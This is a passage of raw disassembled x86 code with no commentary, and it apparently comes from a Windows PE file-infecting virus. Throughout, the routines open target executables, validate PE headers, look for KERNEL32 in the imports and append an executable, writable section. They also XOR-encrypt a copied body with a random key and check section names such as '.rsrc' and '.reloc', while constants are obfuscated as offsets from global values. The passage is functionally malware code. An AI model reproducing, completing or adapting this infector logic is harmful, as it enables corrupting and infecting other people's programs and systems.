push ds:dword_4CA56C[eax]
call ds:dword_446018
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2F4], eax
mov [ebp+var_2F8], eax
push ds:dword_4CA55C[eax]
call ds:dword_4CC914
mov edi, [ebp+var_2F8]
mov ds:dword_4CA57C[edi], eax
push offset sub_43FD1A
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2FC], eax
push ds:dword_4CA55C[eax]
call ds:dword_4495AC
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_300], eax
mov [ebp+var_304], eax
push ds:dword_4CA568[eax]
call ds:dword_4CC914
mov edi, [ebp+var_304]
mov ds:dword_4CA578[edi], eax
push offset sub_43FD1A
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_308], eax
push ds:dword_4CA568[eax]
call ds:dword_4495AC
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_30C], eax
mov [ebp+var_310], eax
push ds:dword_4CA564[eax]
call ds:dword_4CC914
mov edi, [ebp+var_310]
mov ds:dword_4CA574[edi], eax
push offset sub_43FD1A
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_314], eax
push ds:dword_4CA564[eax]
call ds:dword_4495AC
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_318], eax
mov [ebp+var_31C], eax
push ds:dword_4CA560[eax]
call ds:dword_4CC914
mov edi, [ebp+var_31C]
mov ds:dword_4CA570[edi], eax
push offset sub_43FD1A
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_320], eax
push ds:dword_4CA560[eax]
call ds:dword_4495AC
mov eax, 30h
mul esi
mov [ebp+var_324], eax
push ds:dword_4CA560[eax]
call ds:dword_4899FC
loc_439466: ; CODE XREF: sub_438324+10j
; sub_438324+21j ...
pop edi
pop esi
pop ebx
leave
retn
sub_438324 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43946B proc near ; CODE XREF: sub_43B0C6+D9p
; sub_43B0C6+13Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, dword_54F120
sub esi, 8
movsx edi, word_54F198
dec edi
jmp short loc_4394D8
; ---------------------------------------------------------------------------
loc_439488: ; CODE XREF: sub_43946B+77j
movzx edx, word ptr [ebx+edi*2]
mov ecx, [ebp+arg_4]
movzx ecx, word ptr [ecx+edi*2]
sub edx, ecx
sub edx, esi
mov [ebp+var_4], edx
movsx eax, word_54F0D0
sub eax, 6
cmp edx, eax
jge short loc_4394C7
mov eax, dword_54F12C
add eax, 0FFF8h
add [ebp+var_4], eax
mov eax, dword_54F154
mov esi, eax
add esi, dword_54F10C
sub esi, 9
jmp short loc_4394D0
; ---------------------------------------------------------------------------
loc_4394C7: ; CODE XREF: sub_43946B+3Bj
mov esi, dword_54F0B8
sub esi, 4
loc_4394D0: ; CODE XREF: sub_43946B+5Aj
mov edx, [ebp+var_4]
mov [ebx+edi*2], dx
inc edi
loc_4394D8: ; CODE XREF: sub_43946B+1Bj
mov eax, dword_54F220
add eax, 1Eh
cmp edi, eax
jb short loc_439488
pop edi
pop esi
pop ebx
leave
retn
sub_43946B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4394E9 proc near ; DATA XREF: .data:0054F2E0o
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_4]
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
mov eax, dword_54F130
add eax, 0F9h
cmp edi, eax
jnz short loc_439512
push [ebp+arg_14]
call sub_44296E
pop ecx
xor eax, eax
jmp short loc_439532
; ---------------------------------------------------------------------------
loc_439512: ; CODE XREF: sub_4394E9+1Aj
mov eax, dword_54F14C
add eax, 101h
cmp edi, eax
jnz short loc_43952D
push [ebp+arg_14]
call sub_43EA1B
pop ecx
xor eax, eax
jmp short loc_439532
; ---------------------------------------------------------------------------
loc_43952D: ; CODE XREF: sub_4394E9+35j
mov eax, 80020003h
loc_439532: ; CODE XREF: sub_4394E9+27j
; sub_4394E9+42j
pop edi
pop ebp
retn 24h
sub_4394E9 endp
; =============== S U B R O U T I N E =======================================
sub_439537 proc near ; DATA XREF: .data:0054F2FCo
mov eax, 80004001h
retn 10h
sub_439537 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43953F proc near ; DATA XREF: .data:0054F2CCo
push ebp
mov ebp, esp
push offset dword_54DF3C
call ds:dword_4899F8
mov eax, ds:dword_54DF3C
pop ebp
retn 4
sub_43953F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_439556 proc near ; DATA XREF: .data:off_54F2C8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_550A98
push esi
call ds:dword_50C93C
or eax, eax
jz short loc_439582
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_4395D1
; ---------------------------------------------------------------------------
loc_439582: ; CODE XREF: sub_439556+1Aj
push offset dword_550A18
push esi
call ds:dword_50C93C
or eax, eax
jz short loc_4395A2
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_4395D1
; ---------------------------------------------------------------------------
loc_4395A2: ; CODE XREF: sub_439556+3Aj
push offset dword_5509E8
push esi
call ds:dword_50C93C
or eax, eax
jz short loc_4395C2
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_4395D1
; ---------------------------------------------------------------------------
loc_4395C2: ; CODE XREF: sub_439556+5Aj
mov eax, dword_54F1B4
sub eax, 4
mov [edi], eax
mov eax, 80004002h
loc_4395D1: ; CODE XREF: sub_439556+2Aj
; sub_439556+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_439556 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4395D8 proc near ; CODE XREF: sub_43ABE6+1F8p
var_32008 = dword ptr -32008h
var_32004 = dword ptr -32004h
var_31FFF = byte ptr -31FFFh
var_31FFD = byte ptr -31FFDh
var_31F34 = dword ptr -31F34h
var_31F30 = dword ptr -31F30h
var_31F2C = dword ptr -31F2Ch
var_31F28 = dword ptr -31F28h
var_31F24 = dword ptr -31F24h
var_31F20 = dword ptr -31F20h
var_31F1C = dword ptr -31F1Ch
var_31F18 = dword ptr -31F18h
var_31F14 = dword ptr -31F14h
var_31F10 = dword ptr -31F10h
var_31F0C = dword ptr -31F0Ch
var_31F08 = dword ptr -31F08h
var_31F04 = dword ptr -31F04h
var_31F00 = dword ptr -31F00h
var_31EFC = dword ptr -31EFCh
var_31EF8 = dword ptr -31EF8h
var_31EF4 = dword ptr -31EF4h
var_31EF0 = dword ptr -31EF0h
var_31EEC = dword ptr -31EECh
var_31EE8 = dword ptr -31EE8h
var_31EE4 = dword ptr -31EE4h
var_31EE0 = dword ptr -31EE0h
var_31EDC = dword ptr -31EDCh
var_31ED8 = byte ptr -31ED8h
var_31ECB = byte ptr -31ECBh
var_1198 = dword ptr -1198h
var_1194 = dword ptr -1194h
var_1190 = dword ptr -1190h
var_118C = dword ptr -118Ch
var_1188 = dword ptr -1188h
var_1184 = dword ptr -1184h
var_117F = byte ptr -117Fh
var_1080 = dword ptr -1080h
var_107C = dword ptr -107Ch
var_1078 = dword ptr -1078h
var_1074 = dword ptr -1074h
var_1070 = dword ptr -1070h
var_106C = dword ptr -106Ch
var_1068 = dword ptr -1068h
var_1064 = dword ptr -1064h
var_1060 = dword ptr -1060h
var_105C = dword ptr -105Ch
var_1058 = dword ptr -1058h
var_1054 = dword ptr -1054h
var_1050 = dword ptr -1050h
var_C54 = dword ptr -0C54h
var_C50 = dword ptr -0C50h
var_C4C = dword ptr -0C4Ch
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_434 = dword ptr -434h
var_430 = dword ptr -430h
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 32008h
call sub_4455B4
push ebx
push esi
push edi
mov eax, dword_54F160
sub eax, 7
mov [ebp+var_31EE4], eax
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_31ECB]
push eax
call ds:dword_4CB814
add esp, 0Ch
loc_43960C: ; CODE XREF: sub_4395D8+99j
mov eax, dword_54F124
sub eax, 2
push eax
movsx eax, word_54F128
sub eax, 5
push eax
push 3
mov eax, dword_54F0C8
dec eax
push eax
mov eax, dword_54F248
movsx edx, word_54F1A8
add eax, edx
sub eax, 4
push eax
push 0C0000001h
push [ebp+arg_0]
call ds:dword_54DB18
mov [ebp+var_1074], eax
cmp eax, 0FFFFFFFFh
jnz short loc_43967A
inc [ebp+var_31EE4]
mov eax, dword_54F10C
dec eax
cmp [ebp+var_31EE4], eax
jnz short loc_439673
push [ebp+arg_0]
call sub_43DA48
pop ecx
jmp short loc_43960C
; ---------------------------------------------------------------------------
loc_439673: ; CODE XREF: sub_4395D8+8Ej
xor eax, eax
jmp loc_43AAF2
; ---------------------------------------------------------------------------
loc_43967A: ; CODE XREF: sub_4395D8+7Aj
mov eax, dword_54F174
add eax, dword_54F0D4
sub eax, 0Ch
push eax
push [ebp+var_1074]
call ds:dword_4CC910
mov [ebp+var_10], eax
mov edx, [ebp+arg_8]
lea eax, [eax+edx+1FFFFh]
push eax
push 0
call ds:dword_4899EC
mov [ebp+var_4], eax
movsx eax, word_54F128
sub eax, 5
push eax
lea eax, [ebp+var_31EE0]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1074]
call ds:dword_446034
mov eax, [ebp+var_4]
mov eax, [eax+3Ch]
mov [ebp+var_840], eax
mov eax, [ebp+var_31EE0]
sub eax, 0F8h
cmp [ebp+var_840], eax
ja loc_43AADB
mov eax, [ebp+var_840]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jnz loc_43AADB
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+5Ch]
mov edx, dword_54F0DC
add edx, dword_54F0D8
sub edx, 9
cmp eax, edx
jz loc_43AADB
and [ebp+var_1184], 0
mov eax, [ebp+var_8]
movzx edx, word ptr [eax+44h]
mov ecx, dword_54F188
add ecx, 8
cmp edx, ecx
jnz short loc_439784
mov edx, dword_54F204
add edx, dword_54F160
dec edx
mov [eax+1Ah], dl
cmp dl, 0
jz short loc_439784
movzx eax, word ptr [eax+46h]
mov [ebp+var_31EF4], eax
movsx eax, word_54F0D0
cmp [ebp+var_31EF4], eax
jnb loc_43AADB
mov [ebp+var_1184], 1
loc_439784: ; CODE XREF: sub_4395D8+16Ej
; sub_4395D8+183j
cmp [ebp+var_1184], 0
jz short loc_4397DC
mov eax, dword_54F170
movsx edx, word_54F094
add eax, edx
cmp [ebp+var_31EF4], eax
jnb short loc_4397BC
mov eax, [ebp+var_8]
add eax, 6
movzx edx, word ptr [eax]
mov ecx, dword_54F10C
add ecx, 2
sub edx, ecx
mov [eax], dx
jmp short loc_4397DC
; ---------------------------------------------------------------------------
loc_4397BC: ; CODE XREF: sub_4395D8+1C9j
mov eax, [ebp+var_8]
add eax, 6
movzx edx, word ptr [eax]
mov ecx, dword_54F230
movsx edi, word_54F0D0
add ecx, edi
sub ecx, 4
sub edx, ecx
mov [eax], dx
loc_4397DC: ; CODE XREF: sub_4395D8+1B3j
; sub_4395D8+1E2j
mov eax, [ebp+var_8]
mov eax, [eax+80h]
mov [ebp+var_430], eax
mov eax, [ebp+var_840]
mov [ebp+var_106C], eax
add [ebp+var_106C], 0F8h
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31EF8], eax
add [ebp+var_106C], eax
mov eax, 28h
mov ecx, dword_54F1C0
add ecx, 2
mul ecx
mov [ebp+var_31EFC], eax
add [ebp+var_106C], eax
mov eax, [ebp+var_8]
mov ecx, [eax+0D4h]
add [ebp+var_106C], ecx
mov eax, [eax+54h]
cmp [ebp+var_106C], eax
ja loc_43AADB
mov eax, dword_54F1B4
sub eax, 4
mov [ebp+var_C54], eax
mov eax, dword_54F16C
sub eax, 5
mov [ebp+var_1C], eax
mov eax, dword_54F1F4
sub eax, 9
mov [ebp+var_105C], eax
mov eax, dword_54F0F0
sub eax, 3
mov [ebp+var_434], eax
jmp loc_439951
; ---------------------------------------------------------------------------
loc_43988F: ; CODE XREF: sub_4395D8+386j
mov eax, 28h
mul [ebp+var_434]
mov [ebp+var_31F08], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F08]
mov esi, edx
add esi, eax
mov eax, [esi+0Ch]
add eax, [esi+8]
mov [ebp+var_31F00], eax
mov eax, [esi+14h]
add eax, [esi+10h]
mov [ebp+var_31F04], eax
mov eax, [ebp+var_1C]
cmp [ebp+var_31F00], eax
jbe short loc_4398E6
mov eax, [ebp+var_31F00]
mov [ebp+var_1C], eax
loc_4398E6: ; CODE XREF: sub_4395D8+303j
mov eax, [ebp+var_C54]
cmp [ebp+var_31F04], eax
jbe short loc_439900
mov eax, [ebp+var_31F04]
mov [ebp+var_C54], eax
loc_439900: ; CODE XREF: sub_4395D8+31Aj
mov eax, [ebp+var_8]
mov eax, [eax+0A8h]
cmp eax, [esi+0Ch]
jb short loc_43992B
cmp eax, [ebp+var_31F00]
jnb short loc_43992B
mov eax, [esi+14h]
mov edx, [ebp+var_8]
add eax, [edx+0A8h]
sub eax, [esi+0Ch]
mov [ebp+var_105C], eax
loc_43992B: ; CODE XREF: sub_4395D8+334j
; sub_4395D8+33Cj
mov eax, [ebp+var_430]
mov edx, [esi+0Ch]
cmp eax, edx
jb short loc_43994B
add edx, [esi+8]
cmp eax, edx
jnb short loc_43994B
sub eax, [esi+0Ch]
add eax, [esi+14h]
mov [ebp+var_844], eax
loc_43994B: ; CODE XREF: sub_4395D8+35Ej
; sub_4395D8+365j
inc [ebp+var_434]
loc_439951: ; CODE XREF: sub_4395D8+2B2j
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+6]
cmp [ebp+var_434], eax
jb loc_43988F
mov eax, dword_54F090
add eax, 0FFCh
push eax
push [ebp+var_1C]
call sub_43FCD8
add esp, 8
mov [ebp+var_1C], eax
cmp [ebp+var_1184], 0
jz short loc_43998F
mov eax, [ebp+var_C54]
mov [ebp+var_10], eax
loc_43998F: ; CODE XREF: sub_4395D8+3ACj
mov eax, [ebp+var_C54]
cmp [ebp+var_10], eax
jz short loc_4399B1
mov eax, [ebp+var_8]
movsx edx, word_54F198
dec edx
cmp [eax+0A8h], edx
jz loc_43AADB
loc_4399B1: ; CODE XREF: sub_4395D8+3C0j
mov eax, dword_54F24C
sub eax, 9
cmp [ebp+var_105C], eax
jz loc_439A90
mov eax, dword_54F1AC
add eax, dword_54F1DC
sub eax, 2
mov [ebp+var_31F08], eax
mov eax, dword_54F160
sub eax, 7
mov [ebp+var_31F00], eax
jmp short loc_439A37
; ---------------------------------------------------------------------------
loc_4399E9: ; CODE XREF: sub_4395D8+485j
mov eax, [ebp+var_105C]
mov [ebp+var_31F0C], eax
mov eax, 1Ch
mul [ebp+var_31F00]
mov [ebp+var_31F10], eax
mov eax, [ebp+var_31F0C]
mov edx, [ebp+var_31F10]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F04], eax
mov edx, [ebp+var_31F08]
cmp [eax+18h], edx
jbe short loc_439A31
mov eax, [eax+18h]
mov [ebp+var_31F08], eax
loc_439A31: ; CODE XREF: sub_4395D8+44Ej
inc [ebp+var_31F00]
loc_439A37: ; CODE XREF: sub_4395D8+40Fj
mov edi, [ebp+var_8]
mov eax, [edi+0ACh]
mov ecx, 1Ch
shr eax, 2
mov edx, 24924925h
mul edx
mov [ebp+var_31F0C], edx
mov edi, edx
cmp [ebp+var_31F00], edi
jb short loc_4399E9
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_31F08]
call sub_43FCD8
add esp, 8
mov [ebp+var_31F08], eax
mov eax, [ebp+var_C54]
cmp eax, [ebp+var_10]
jz short loc_439A90
cmp [ebp+var_31F08], eax
jnz loc_43AADB
loc_439A90: ; CODE XREF: sub_4395D8+3E7j
; sub_4395D8+4AAj
and [ebp+var_1078], 0
mov eax, dword_54F134
add eax, dword_54F0D4
sub eax, 7
mov [ebp+var_438], eax
jmp loc_439BE1
; ---------------------------------------------------------------------------
loc_439AB0: ; CODE XREF: sub_4395D8+618j
mov eax, [ebp+var_844]
add eax, [ebp+var_438]
add eax, [ebp+var_4]
mov [ebp+var_32004], eax
mov edx, dword_54F12C
add edx, dword_54F168
sub edx, 0Ah
cmp [eax], edx
jz loc_439BF6
mov eax, [ebp+var_32004]
mov eax, [eax+0Ch]
sub eax, [ebp+var_430]
add eax, [ebp+var_844]
mov [ebp+var_32008], eax
add eax, [ebp+var_4]
push eax
lea eax, [ebp+var_31FFF]
push eax
call ds:dword_4491A4
add esp, 8
mov eax, dword_54F140
dec eax
mov [ebp+var_31F00], eax
jmp short loc_439B44
; ---------------------------------------------------------------------------
loc_439B19: ; CODE XREF: sub_4395D8+58Ej
mov eax, [ebp+var_31F00]
mov al, [ebp+eax+var_31FFF]
cmp al, 61h
jle short loc_439B3E
cmp al, 7Ah
jge short loc_439B3E
mov eax, [ebp+var_31F00]
lea eax, [ebp+eax+var_31FFF]
sub byte ptr [eax], 20h
loc_439B3E: ; CODE XREF: sub_4395D8+550j
; sub_4395D8+554j
inc [ebp+var_31F00]
loc_439B44: ; CODE XREF: sub_4395D8+53Fj
mov eax, [ebp+var_31F00]
movsx eax, [ebp+eax+var_31FFF]
mov edx, dword_54F0BC
movsx ecx, word_54F0FC
add edx, ecx
sub edx, 2
cmp eax, edx
jnz short loc_439B19
movsx eax, word_54F190
cmp byte ptr [ebp+eax+var_32008+2], 45h
jnz short loc_439BDA
mov edx, dword_54F228
cmp byte ptr [ebp+edx+var_32008+3], 52h
jnz short loc_439BDA
movsx edx, word_54F1A4
cmp byte ptr [ebp+edx+var_32008+3], 4Bh
jnz short loc_439BDA
mov edx, dword_54F184
cmp [ebp+edx+var_31FFD], 33h
jnz short loc_439BDA
mov edx, dword_54F1D8
add edx, dword_54F200
cmp byte ptr [ebp+edx+var_32004+1], 4Ch
jnz short loc_439BDA
add eax, dword_54F168
cmp byte ptr [ebp+eax+var_32004+2], 32h
jnz short loc_439BDA
mov [ebp+var_1078], 1
loc_439BDA: ; CODE XREF: sub_4395D8+59Fj
; sub_4395D8+5AFj ...
add [ebp+var_438], 14h
loc_439BE1: ; CODE XREF: sub_4395D8+4D3j
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_438], eax
jb loc_439AB0
loc_439BF6: ; CODE XREF: sub_4395D8+4FEj
cmp [ebp+var_1078], 0
jz loc_43AADB
mov eax, [ebp+var_8]
add eax, 16h
or word ptr [eax], 1
lea eax, [ebp+var_31ECB]
mov [ebp+var_42C], eax
mov eax, [eax+3Ch]
mov [ebp+var_848], eax
add eax, [ebp+var_42C]
mov [ebp+var_84C], eax
cmp [ebp+var_1184], 0
jnz loc_439D4B
mov eax, [ebp+var_8]
mov edx, dword_54F1C8
sub edx, 8
cmp [eax+0D0h], edx
jz loc_439D4B
movsx edx, word_54F0F8
add edx, dword_54F098
sub edx, 0Eh
cmp [eax+0D4h], edx
jz loc_439D4B
mov edx, [ebp+var_106C]
cmp [eax+54h], edx
jbe loc_439D4B
mov eax, [ebp+var_840]
add eax, 0F8h
mov [ebp+var_31F08], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F0C], eax
mov eax, [ebp+var_31F08]
mov edx, [ebp+var_31F0C]
add eax, edx
mov [ebp+var_31F00], eax
mov [ebp+var_31F10], eax
mov eax, 28h
mov ecx, dword_54F1AC
add ecx, dword_54F0F0
sub ecx, 2
mul ecx
mov [ebp+var_31F14], eax
mov eax, [ebp+var_31F10]
mov edx, [ebp+var_31F14]
add eax, edx
mov [ebp+var_31F04], eax
mov eax, [ebp+var_8]
push dword ptr [eax+0D4h]
mov eax, [ebp+var_4]
mov edx, [ebp+var_31F00]
add edx, eax
push edx
mov edx, [ebp+var_31F04]
add edx, eax
push edx
call ds:dword_4CB814
add esp, 0Ch
mov eax, [ebp+var_8]
add eax, 0D0h
mov [ebp+var_31F18], eax
mov eax, 28h
mov ecx, dword_54F1C0
add ecx, dword_54F0C0
mul ecx
mov [ebp+var_31F1C], eax
mov eax, [ebp+var_31F18]
mov edx, eax
mov ecx, [ebp+var_31F1C]
add [edx], ecx
loc_439D4B: ; CODE XREF: sub_4395D8+65Dj
; sub_4395D8+675j ...
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_43FCD8
mov [ebp+var_10], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F00], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F00]
mov esi, edx
add esi, eax
mov eax, dword_54F1DC
add eax, 0Ch
push eax
mov eax, dword_54F0E4
sub eax, 5
push eax
mov eax, esi
add eax, 18h
push eax
call ds:dword_4CB934
movsx eax, word_54F210
add eax, 1FFFBh
mov [esi+8], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+arg_8]
add eax, 0Dh
push eax
call sub_43FCD8
mov [esi+10h], eax
mov eax, [ebp+var_10]
mov [ebp+var_850], eax
mov eax, [ebp+var_1C]
mov [ebp+var_1060], eax
push offset byte_550825
call sub_43AAF7
push eax
push esi
call ds:dword_4491A4
mov eax, [ebp+var_1C]
mov [esi+0Ch], eax
mov eax, dword_54F14C
add eax, 0E000001Eh
mov [esi+24h], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, dword_54F0EC
add eax, 1FFFFh
add [ebp+var_1C], eax
mov eax, [ebp+var_8]
mov edx, [esi+0Ch]
add edx, [esi+8]
mov [eax+50h], edx
call ds:dword_54E040
movsx edi, word_54F128
movsx edx, word_54F138
add edi, edx
sub edi, 7
mov ecx, 0FDh
cdq
idiv ecx
add edi, edx
mov [ebp+var_1064], edi
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+var_10]
add eax, [esi+10h]
push eax
call sub_43FCD8
add esp, 30h
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
call ds:dword_54E040
mov edi, [ebp+var_848]
mov edx, [ebp+var_42C]
mov [ebp+var_31F08], edx
mov [ebp+var_31F04], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F08]
mov [ecx+edi], dl
call ds:dword_54E040
mov edx, dword_54F200
movsx ecx, word_54F104
add edx, ecx
sub edx, 4
add edi, edx
mov edx, [ebp+var_42C]
mov [ebp+var_31F10], edx
mov [ebp+var_31F0C], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F10]
mov [ecx+edi], dl
mov edi, dword_54F1C0
add edi, dword_54F174
sub edi, 7
mov edx, [ebp+var_42C]
mov ecx, [ebp+arg_8]
shr ecx, 9
mov [edx+edi], cl
movsx eax, word_54F0C4
add eax, dword_54F18C
sub eax, 7
mov ecx, [ebp+var_1064]
xor ecx, 4Dh
mov [edx+eax], cl
mov eax, dword_54F1F8
add eax, 3Dh
add eax, dword_54F0BC
mov [ebp+var_43C], eax
jmp short loc_439F5D
; ---------------------------------------------------------------------------
loc_439F28: ; CODE XREF: sub_4395D8+991j
call ds:dword_54E040
mov edi, [ebp+var_43C]
mov edx, [ebp+var_42C]
mov [ebp+var_31F18], edx
mov [ebp+var_31F14], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F18]
mov [ecx+edi], dl
inc [ebp+var_43C]
loc_439F5D: ; CODE XREF: sub_4395D8+94Ej
mov eax, [ebp+var_848]
cmp [ebp+var_43C], eax
jb short loc_439F28
cmp [ebp+var_1184], 0
jz short loc_439FEE
mov eax, [ebp+var_850]
movsx edx, word_54F0D0
add edx, dword_54F0C0
add eax, edx
mov edx, [ebp+var_4]
mov eax, [edx+eax]
mov [ebp+var_31F1C], eax
mov eax, [ebp+var_8]
mov edx, [eax+34h]
add edx, [eax+28h]
mov eax, dword_54F130
add eax, 6
add edx, eax
mov [ebp+var_31F20], edx
mov eax, [ebp+var_31F1C]
mov edx, dword_54F090
add edx, 0FFFFFFF6h
movsx ecx, word_54F210
add edx, ecx
sub eax, edx
add eax, [ebp+var_31F20]
mov edx, dword_54F1AC
add edx, 2
add eax, edx
mov [ebp+var_31F24], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_31F24]
sub edx, [eax+34h]
mov [eax+28h], edx
loc_439FEE: ; CODE XREF: sub_4395D8+99Aj
push 0Dh
push offset dword_54F290
lea eax, [ebp+var_31ED8]
push eax
call ds:dword_4CB814
mov eax, [esi+10h]
add eax, 0Dh
push eax
lea eax, [ebp+var_31ED8]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call ds:dword_4CB814
add esp, 18h
mov eax, [esi+14h]
add eax, 0Dh
mov [ebp+var_1068], eax
movsx edx, word_54F0C4
sub edx, 4
add eax, edx
mov [ebp+var_424], eax
jmp short loc_43A05A
; ---------------------------------------------------------------------------
loc_43A040: ; CODE XREF: sub_4395D8+A91j
mov eax, [ebp+var_424]
add eax, [ebp+var_4]
movzx edx, byte ptr [eax]
xor edx, [ebp+var_1064]
mov [eax], dl
inc [ebp+var_424]
loc_43A05A: ; CODE XREF: sub_4395D8+A66j
mov eax, [ebp+var_1068]
add eax, [ebp+arg_8]
cmp [ebp+var_424], eax
jb short loc_43A040
mov eax, dword_54F0B8
sub eax, 4
mov [ebp+var_18], eax
mov eax, dword_54F1F4
mov edx, eax
add edx, eax
mov eax, edx
sub eax, 12h
mov [ebp+var_440], eax
jmp loc_43A377
; ---------------------------------------------------------------------------
loc_43A08F: ; CODE XREF: sub_4395D8+DAFj
mov eax, 28h
mul [ebp+var_440]
mov [ebp+var_31F20], eax
mov eax, [ebp+var_848]
mov edx, [ebp+var_42C]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F20]
mov ebx, edx
add ebx, eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F24], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F24]
mov esi, edx
add esi, eax
movsx eax, word_54F0CC
cmp byte ptr [ebx+eax], 72h
jnz short loc_43A12B
mov eax, dword_54F1AC
movsx edx, word_54F13C
add eax, edx
sub eax, 0Bh
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_43A12B
movsx eax, word_54F208
cmp byte ptr [eax+ebx+4], 63h
jnz short loc_43A12B
mov eax, [ebx+14h]
mov [ebp+var_107C], eax
jmp loc_43A371
; ---------------------------------------------------------------------------
loc_43A12B: ; CODE XREF: sub_4395D8+B1Ej
; sub_4395D8+B35j ...
movsx eax, word_54F0F8
sub eax, 5
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_43A174
movsx eax, word_54F244
add eax, dword_54F168
sub eax, 8
cmp byte ptr [ebx+eax], 65h
jnz short loc_43A174
mov eax, dword_54F1E4
inc eax
cmp byte ptr [ebx+eax], 61h
jnz short loc_43A174
mov eax, [ebx+0Ch]
mov [ebp+var_1188], eax
mov eax, [ebx+14h]
mov [ebp+var_1080], eax
jmp loc_43A371
; ---------------------------------------------------------------------------
loc_43A174: ; CODE XREF: sub_4395D8+B61j
; sub_4395D8+B77j ...
movsx eax, word_54F164
cmp byte ptr [ebx+eax], 69h
jnz short loc_43A1B2
mov eax, dword_54F1AC
movsx edx, word_54F13C
add eax, edx
sub eax, 0Bh
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_43A1B2
movsx eax, word_54F210
add eax, dword_54F188
sub eax, 5
cmp byte ptr [ebx+eax], 61h
jz loc_43A371
loc_43A1B2: ; CODE XREF: sub_4395D8+BA7j
; sub_4395D8+BBEj
mov eax, dword_54F1B4
sub eax, 4
cmp byte ptr [ebx+eax], 2Eh
jnz loc_43A248
mov eax, dword_54F120
add eax, dword_54F0F0
sub eax, 0Ah
cmp byte ptr [ebx+eax], 62h
jnz short loc_43A248
mov eax, dword_54F1E4
add eax, dword_54F23C
dec eax
cmp byte ptr [ebx+eax], 73h
jnz short loc_43A248
add esi, 0FFFFFFD8h
